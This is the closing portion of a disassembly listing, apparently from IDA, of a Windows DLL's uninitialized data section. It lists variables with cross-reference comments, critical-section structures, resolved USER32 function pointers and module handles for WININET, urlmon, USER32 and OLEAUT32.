dword_69B9B618	dd 2 dup(?)	; __int32 dword_69B9B620
dword_69B9B620	dd ?							; sub_69B6699A+2E8r ...
		align 8
; __int32 dword_69B9B628
dword_69B9B628	dd ?							; sub_69B6DF3C+7Fo ...
		align 10h
; __int32 dword_69B9B630
dword_69B9B630	dd ?							; sub_69B6EB35+15r
		align 8
; __int32 dword_69B9B638
dword_69B9B638	dd ?							; sub_69B6EB35+Dr ...
		align 10h
byte_69B9B640	db ?			; DATA XREF: sub_69B6DF3C+Er
					; sub_69B6DF3C+35r ...
		align 4
; struct _RTL_CRITICAL_SECTION stru_69B9B644
stru_69B9B644	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_69B6FD4C+16o
dword_69B9B65C	dd ?							; sub_69B6FDE2+18w
; HMODULE dword_69B9B660
dword_69B9B660	dd ?							; sub_69B6FD4C+46w ...
dword_69B9B664	dd ?							; sub_69B6FD4C+2Dw
; __int32 dword_69B9B668
dword_69B9B668	dd ?							; sub_69B700EE+2r ...
		align 10h
; __int32 dword_69B9B670
dword_69B9B670	dd ?							; sub_69B703D6+2r ...
		align 8
; LPVOID dword_69B9B678
dword_69B9B678	dd ?							; sub_69B72074+13r ...
; LPVOID dword_69B9B67C
dword_69B9B67C	dd ?							; sub_69B71F04+DEr
byte_69B9B680	db ?			; DATA XREF: sub_69B73743+6Bw
					; sub_69B73743:loc_69B737B5r
byte_69B9B681	db ?			; DATA XREF: sub_69B7AB78+1A8w
byte_69B9B682	db ?			; DATA XREF: sub_69B7AB78+194w
					; sub_69B7AB78:loc_69B7AD30r
byte_69B9B683	db ?			; DATA XREF: sub_69B7AB78+15Dr
					; sub_69B7AB78+166w
; __int32 dword_69B9B684
dword_69B9B684	dd ?							; sub_69B7EB86+A7r ...
; struct _RTL_CRITICAL_SECTION stru_69B9B688
stru_69B9B688	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_69B1E4CF:loc_69B24B28o
					; sub_69B80FE6+87o
; struct _RTL_CRITICAL_SECTION stru_69B9B6A0
stru_69B9B6A0	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_69B1E4CF:loc_69B24B57o
					; sub_69B80FE6+19o ...
dword_69B9B6B8	dd ?							; StartAddress+142w
word_69B9B6BC	dw ?			; DATA XREF: sub_69B8062Dr
					; sub_69B8062D+19w ...
		align 10h
dword_69B9B6C0	dd ?							; sub_69B84F8F+34r ...
dword_69B9B6C4	dd ?							; sub_69B84F8F+46r ...
dword_69B9B6C8	dd ?				align 10h
dword_69B9B6D0	dd ?							; sub_69B8562A+13Fr ...
dword_69B9B6D4	dd ?		dword_69B9B6D8	dd ?							; sub_69B8562A:loc_69B8579Bo ...
		dd 0Fh dup(?)
; __int32 dword_69B9B718
dword_69B9B718	dd ?							; sub_69B8562A+191o ...
dword_69B9B71C	dd ?		; resolved to->USER32.MessageBoxA					; sub_69B863B4+38w ...
dword_69B9B720	dd ?		; resolved to->USER32.GetActiveWindow					; sub_69B863B4:loc_69B86479r
dword_69B9B724	dd ?		; resolved to->USER32.GetLastActivePopup					; sub_69B863B4+D6r
dword_69B9B728	dd ?		; resolved to->USER32.GetProcessWindowStation					; sub_69B863B4:loc_69B86434r
dword_69B9B72C	dd ?		; resolved to->USER32.GetUserObjectInformationA					; sub_69B863B4+9Cr
dword_69B9B730	dd ?							; .data:off_69B9AD6Co ...
dword_69B9B734	dd ?		dword_69B9B738	dd ?				dd 2 dup(?)
; LCID Locale
Locale		dd ?			; DATA XREF: sub_69B1ECB1:loc_69B25407r
					; sub_69B1AEC4+A6BBr
		dd 3 dup(?)
dword_69B9B754	dd ?							; sub_69B1ECB1:loc_69B253B4r ...
dword_69B9B758	dd ?		dword_69B9B75C	dd ?							; sub_69B1CEB6:loc_69B2533Br
WININET_dll_handle dd ?			; DATA XREF: .text:69B903ECo
USER32_dll_handle dd ?			; DATA XREF: .text:69B9040Co
urlmon_dll_handle dd ?			; DATA XREF: .text:69B9042Co
OLEAUT32_dll_handle dd ?		; DATA XREF: .text:69B9044Co
dword_69B9B770	dd ?							; sub_69B900D2+11w
dword_69B9B774	dd ?		dword_69B9B778	dd ?		dword_69B9B77C	dd ?		dword_69B9B780	dd ?							; sub_69B85B77+21Cr ...
dword_69B9B784	dd ?							; sub_69B25025+4Dr ...
; LPVOID dword_69B9B788
dword_69B9B788	dd ?							; sub_69B25025:loc_69B2507Cr ...
dword_69B9B78C	dd ?							; sub_69B85B04+36w ...
dword_69B9B790	dd ?							; sub_69B85B77+300w ...
dword_69B9B794	dd ?							; sub_69B85E8F+5r ...
dword_69B9B798	dd ?							; sub_69B85B77+249r ...
dword_69B9B79C	dd ?							; sub_69B1BA12+92C8w
		align 80h
_data		ends


		end DllEntryPoint